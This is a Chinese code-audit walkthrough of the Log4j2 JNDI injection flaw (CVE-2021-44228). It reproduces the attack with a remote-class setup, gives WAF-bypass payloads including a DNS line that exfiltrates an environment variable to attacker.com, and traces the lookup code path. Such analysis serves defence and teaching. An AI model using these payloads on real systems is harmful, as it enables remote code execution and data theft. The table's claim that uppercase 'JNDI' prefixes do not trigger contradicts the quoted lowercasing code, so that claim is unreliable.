代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析
目录
环境搭建
- JDK:
jdk8u65 - Log4j2:
2.14.1
pom.xml 依赖:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
添加好依赖之后效果如下:
然后通过 Maven 下载源码,方便后面调试:
漏洞复现
编写测试代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
private static final Logger logger = LogManager.getLogger(Log4jTest.class);
public static void main(String[] args) {
// 高版本 JDK(如 8u121+)默认禁止远程对象加载,调试时需手动开启
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// 模拟用户输入的恶意字符串
String payload = "${jndi:ldap://127.0.0.1:1389/Exploit}";
// 触发漏洞
logger.error("用户输入数据: {}", payload);
}
}
构造恶意 class 文件
Exploit.java:
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
执行 javac Exploit.java 编译成 class 文件,然后在 class 文件所在目录启动一个简单的 HTTP 服务:
python -m http.server 5566
启动 LDAP 转发器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.250.1:5566/#Exploit" 1389
参数说明:
-cp:指定类路径(classpath)marshalsec.jndi.LDAPRefServer:启动 LDAP 转发器(还有marshalsec.jndi.RMIRefServer可以启动 RMI 转发器)"http://172.16.250.1:5566/#Exploit":远程恶意类的下载地址(带引用锚点)#Exploit:#后的部分在 LDAP 协议中会被解析为引用的classFactory名称,受害者最终会请求/Exploit.class文件,不用#不能正常启动(规范写法)
1389:LDAP 服务监听的本地端口
请求流程
整个攻击链的请求顺序如下:
受害服务器 攻击机
| |
|---① LDAP 查询请求 ------------->| (marshalsec:1389)
| |
|<--② 返回 JNDI Reference --------| (codebase=http://攻击机:5566/)
| |
|---③ HTTP 下载 Exploit.class ---->| (HTTP服务:5566)
| |
|<--④ 返回恶意类字节码 -----------|
| |
| (加载并执行恶意代码) |
- 受害服务器
.lookup("ldap://攻击机IP:1389/Exploit")请求攻击机 LDAP 服务 - 攻击机 LDAP 服务收到查询后返回一个
javax.naming.Reference对象,包含 codebase 地址(http://172.16.250.1:5566/)和类名(Exploit) - 告诉受害服务器去
http://172.16.250.1:5566/这里找Exploit文件 - 受害服务器解析该引用后,自动从 codebase 地址下载 Exploit.class 文件,然后实例化并执行恶意代码
测试成功,弹出计算器:
HTTP 服务日志中可以看到 GET /Exploit.class 的请求记录。
注意事项
1. 把恶意代码写到静态块里更好
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
原因:
- 静态块:当类被
Class.forName()加载时就会执行,在实例化之前 - 构造方法:必须等到
newInstance()创建对象实例时才会执行
静态块的好处:即使实例化失败,恶意代码也能执行,而且只执行一次,避免重复操作。
2. class 文件不能放在项目能找到的地方
如果放在项目的 classpath 里,JVM 会优先从本地加载该类,根本不会发起 HTTP 请求,也就没有起到远程下载的效果了。
3. 包名问题
如果 Exploit 类声明了包名(如 package com.attack;),受害服务器会按完整类名 com.attack.Exploit 去 HTTP 服务器上请求 com/attack/Exploit.class,路径包含目录结构。
最简单稳妥的做法:不声明包名,使用默认包,这样请求的就是 /Exploit.class,减少路径错误。
使用 JNDI 工具一键利用
上面是自己手动写 class 实现的,不过现在的 JNDI 利用工具有自带执行命令的功能,更加方便:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 172.16.250.1
修改一下 payload:
String payload = "${jndi:ldap://172.16.250.1:1389/jxjkff}";
代码审计
复现完了,接下来开始审计。有几个我比较关心的问题:
- 触发点是
logger.error(),看着并不是一个特殊的函数,那会不会还有其他的触发方式? - payload 的写法
${jndi:ldap://172.16.250.1:1389/jxjkff},特别是被${}包裹的这个结构,Log4j 是从哪里开始解析它的? - 不同版本的 LDAP 和 RMI 之间有什么区别?
带着这几个问题开始跟调用链。
payload 入口追踪
payload 被完整传入了 error() 方法:
进入类里面,message 是字符串,p0 是 payload,没有问题:
进入 logIfEnabled 方法,做了一个日志级别判断:
进入 logMessage 方法,这里创建了一个对象来存储 message 和 p0 的信息:
final Message msg = messageFactory.newMessage(message, p0);
可以看到只是单纯的存储数据,没有对字符串处理,payload 放在了 stringArgs 这个数组里:
然后经过 logMessageSafely >> logMessageTrackRecursion >> tryLogMessage >> log(),目前还是没有对 payload 处理,进入另一个 log() 方法:
到了 loggerConfig.log 这里,创建了一个 logEvent 对象:
这个对象里有个变量,是字符串和 payload 的组合:
然后 logEvent 传入 log(logEvent, LoggerConfigPredicate.ALL) 里的 event:
进入 processLogEvent:
然后带着对象进入了 callAppenders:
controls[i].callAppender(event) >> callAppenderPreventRecursion(event) >> callAppender0(event) >> tryCallAppender(event) >> appender.append(event) >> tryAppend(event) >> directEncodeEvent(event):
MessagePatternConverter:关键转折点
进入 getLayout().encode(event, manager):
final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
toText >> toSerializable >> formatters[i].format(event, buffer),然后是一直的循环处理。
当来到第八轮循环的时候,进入了 MessagePatternConverter.format,这正是对 ${} 里面的数据做提取的地方:
经过 ((StringBuilderFormattable) msg).formatTo(workingBuilder):
输入的数据被提取出来和前缀消息拼接到了 workingBuilder:
接下来有一段关键逻辑:
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
// 在 workingBuilder 里面找 "${" 子串
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
// 把输入的信息赋值给 value
// offset 是固定的值,意思是 workingBuilder 前面的时间等信息不算,
// 只会保留我们输入的信息
final String value = workingBuilder.substring(offset, workingBuilder.length());
// 设置了 workingBuilder 的长度,使 workingBuilder 里没了我们输入的信息
workingBuilder.setLength(offset);
// 把 config.getStrSubstitutor().replace(event, value) 处理完的信息拼接回 workingBuilder
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
步入时点击选择 replace 函数:
source 就是输入的值:
用户输入数据: ${jndi:ldap://172.16.250.1:1389/jxjkff}
substitute:变量解析核心
然后进入了 substitute 方法,它的作用是递归地查找并替换字符串中的 ${...} 占位符。
核心能力:
- 识别
${xxx} - 支持嵌套
${${a}} - 支持默认值
${a:-b} - 支持递归解析
- 支持转义
逐段看一下代码:
final StrMatcher prefixMatcher = getVariablePrefixMatcher(); // 匹配字符 ${
final StrMatcher suffixMatcher = getVariableSuffixMatcher(); // 匹配字符 }
final char escape = getEscapeChar();
// 获取转义符,默认是 $,比如 $${xxx} 会变成 ${xxx},里面不会被解析
在字符串里面找 ${:
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
如果找到了:
if (pos > offset && chars[pos - 1] == escape) {
// 这是判断 ${ 前面有没有 $,也就是是不是 $${ ,是的话就是转义,直接跳过
}
如果没有转义,则开始对 ${ 后的字符处理:
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
}
这是对外层的 ${ 匹配 },找到最外层的 } 边界,方便把中间的内容递归传入 substitute 继续处理。
如果找到后 nestedVarCount == 0,意思是已经找到了最外层的 }(因为找到一个 ${ 就加一,找到一个 } 就减一),就开始对 ${} 里面的内容处理了:
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
// 提取当前最外层的 ${} 里的内容给 varNameExpr
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
如果 substitutionInVariablesEnabled(允许递归,默认是允许的),就把 varNameExpr 放入 substitute 再次递归,最后出来的是没有 ${} 的内容,因为里面的内容会被当做变量处理。
接着是对 :- 键值对处理的逻辑:
if (valueDelimiterMatcher != null) { ... }
假设 varNameExpr 的值是 "host:-localhost":
- 代码会遍历每个字符,找到
":-"这个分隔符(valueDelimiterMatcher默认匹配:-) - 将分隔符前面的部分
"host"作为varName,后面的部分"localhost"作为varDefaultValue - 如果
varNameExpr中没有:-,则整个字符串就是varName,varDefaultValue保持null
所以原本的 payload ${} 被拆成了:
varName=jndi:ldap://172.16.250.1:1389/jxjkffvarDefaultValue=null
if (priorVariables == null) {
priorVariables = new ArrayList<>();
priorVariables.add(new String(chars, offset, length + lengthChange));
}
// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);
这里有一个防止无限递归的机制,不过处理依然有限,只能防止 ${a} → ${a} 这种死循环,对安全没有实质帮助。
resolveVariable:触发入口
最后到了触发 payload 的入口:
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
这个方法相当于一个调度员,会根据 varName 去寻找和执行对应任务,返回值为 varValue:
protected String resolveVariable(final LogEvent event, final String variableName,
final StringBuilder buf, final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
接受变量名,交给 resolver 处理。
Interpolator:协议分发
resolver.lookup(event, variableName) 进入了 Interpolator.lookup:
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
// PREFIX_SEPARATOR 是固定值 ":",这个会匹配第一个冒号前的内容
有冒号就进入 if (prefixPos >= 0) 的判断里面:
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
把 jndi:ldap://172.16.250.1:1389/jxjkff 拆成了:
prefix=jndiname=ldap://172.16.250.1:1389/jxjkff
接下来是分发机构,会检测各种 prefix 的信息:
final StrLookup lookup = strLookupMap.get(prefix);
总共有 12 种,获取对应的实例。没有任何过滤,不管传入什么都会来匹配。"jndi" 对应 JndiLookup。
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
如果找到了对应的实例,就调用它的 lookup 方法,传入 name 和可选的 event 参数。
对于 JNDI 注入,lookup 是 JndiLookup,其 lookup(event, name) 内部会执行 JndiLookup.lookup(name),发起 JNDI 查询:
这里就是执行 JNDI 查询的地方,整条链走完了。
触发条件与常见入口
所有日志级别(info、error、warn 等)只要启用了,且日志消息中包含用户可控的字符串,都可能触发漏洞。
| 入口类型 | 示例代码 |
|---|---|
| HTTP 参数 | logger.info("param: {}", request.getParameter("input")); |
| HTTP Header | logger.error("User-Agent: {}", request.getHeader("User-Agent")); |
| Cookie | logger.warn("Cookie: {}", cookie.getValue()); |
| 请求体 | logger.debug("Body: {}", IOUtils.toString(request.getReader())); |
| 文件名 | logger.info("Upload: {}", file.getOriginalFilename()); |
Lookup 类型一览:
| Lookup 类型 | 作用 | 利用示例 |
|---|---|---|
| upper | 转换为大写 | ${${upper:j}ndi},先转为 J,再拼接成 Jndi |
:-(Default Lookup) | 如果键不存在,则返回默认值 | ${::-j}${::-n}${::-d}${::-i},直接逐个字符拼出 jndi |
| env | 获取系统环境变量的值 | ${env:JNDI:-jndi},如果环境变量 JNDI 不存在,则返回默认值 jndi |
| sys | 获取 Java 系统属性的值 | ${sys:LDAP:-ldap},获取系统属性值或默认值 |
| main | 获取应用程序的 main 参数 | 可用于注入参数值,但在攻击中不如其他方式常用 |
| ctx | 获取 ThreadContext 映射中的值 | 攻击者若能控制上下文(例如通过 HTTP Header),则可注入恶意值 |
| date | 格式化当前日期或时间 | 理论上可用于构造特殊字符串,但在实际攻击中很少见 |
| log4j | 获取 Log4j 相关的配置信息 | 通常用于获取配置目录等信息,可辅助攻击 |
WAF 绕过原理
为什么 ${${lower:j}ndi:...} 能绕过 WAF?
核心逻辑:
- 第一层
substitute识别到${...} - 它发现变量名里还有
${,于是递归调用substitute处理内部的${lower:j} - 内部解析完变成
j,返回给外层 - 外层拼接出
jndi,再次解析,最终触发JndiLookup
WAF 看到的是 ${${lower:j}ndi:...},过滤的关键词 jndi: 并不直接出现在字符串里,但 Log4j 在解析时会先把内层的 ${lower:j} 解析为 j,拼出完整的 jndi:,再去查 JNDI。
总结一下 payload 是否触发:
| Payload 示例 | 是否触发 JNDI | 原因 |
|---|---|---|
${jndi:ldap://...} | ✅ 是 | 前缀 jndi: 匹配 JndiLookup |
${JNDI:ldap://...} | ❌ 否 | 前缀区分大小写(jndi 小写) |
${ldap://...} | ❌ 否 | 无 jndi: 前缀,被当作普通变量 |
${abc:xyz} | ❌ 否 | 前缀 abc 未注册,返回空 |
${sys:user.name} | ❌ 否(但可读系统属性) | 不同前缀,不涉及 JNDI |
jndi: 前缀后可以跟 ldap://、rmi://、dns://、iiop:// 等协议,原理相同。
在组合这些元素时,需要注意大小写语法。${lower:Jndi} 的结果是 jndi,而 ${upper:jndi} 的结果是 JNDI。
常见绕过 payload
# 字符拆分绕过
${::-j}${::-n}${::-d}${::-i}
# 大小写转换绕过
${${lower:j}ndi}
${${upper:j}ndi}
# 多级嵌套绕过
${${lower:j}${lower:n}${lower:d}${lower:i}}
# 环境变量默认值绕过
${${env:BARFOO:-j}ndi}
# 逐字符默认值绕过
${${:-j}${:-n}${:-d}${:-i}}
# 通过 dnslog 外带数据(常用于探测)
${jndi:dns://${env:USER}.attacker.com}
# Unicode 编码绕过(\u0024\u007b 解码后为 ${)
\u0024\u007b jndi:ldap://...}
补丁分析
Log4j 的修复分了好几个版本,一步一步收紧:
- JDK 版本因素:高版本 JDK(8u191、11.0.1 之后)默认禁止 JNDI 加载远程类(
trustURLCodebase默认为false),可以阻止基础的利用,但绕过方式依然存在(如利用本地 Gadget) - 2.15.0:限制了 JNDI 协议,默认只允许
java://,禁用了ldap://等远程协议,但还存在 DoS 漏洞(CVE-2021-45046) - 2.16.0:彻底禁用 JNDI 功能,
MessagePatternConverter中直接设置noLookups = true - 2.17.0:进一步修复递归解析问题,限制了
substitute的递归深度,防止 DoS
最根本的修复思路就两个:要么禁用 Lookup,要么禁用 JNDI。
总结
整条漏洞链走下来,核心其实很清晰:
- 用户可控的字符串进入了
logger.*()方法,成为日志消息的一部分 MessagePatternConverter.format()检测到消息中包含${,触发变量替换逻辑substitute()递归解析${...}占位符,允许嵌套,没有任何白名单限制resolveVariable()→Interpolator.lookup()根据前缀分发到对应的 Lookup 处理器,12 种协议全部支持,无过滤JndiLookup.lookup()发起 JNDI 查询,加载并实例化远程恶意类,RCE 达成
这个漏洞的危害程度这么高,本质上是因为一个"方便开发者的功能"(变量插值 + JNDI Lookup)在设计上完全没有考虑用户输入可控的场景。写代码的时候日志里打一个 {} 太常见了,几乎所有人都中招。
参考:Apache Log4j2 官方 Security 公告,marshalsec、JNDI-Injection-Exploit 工具。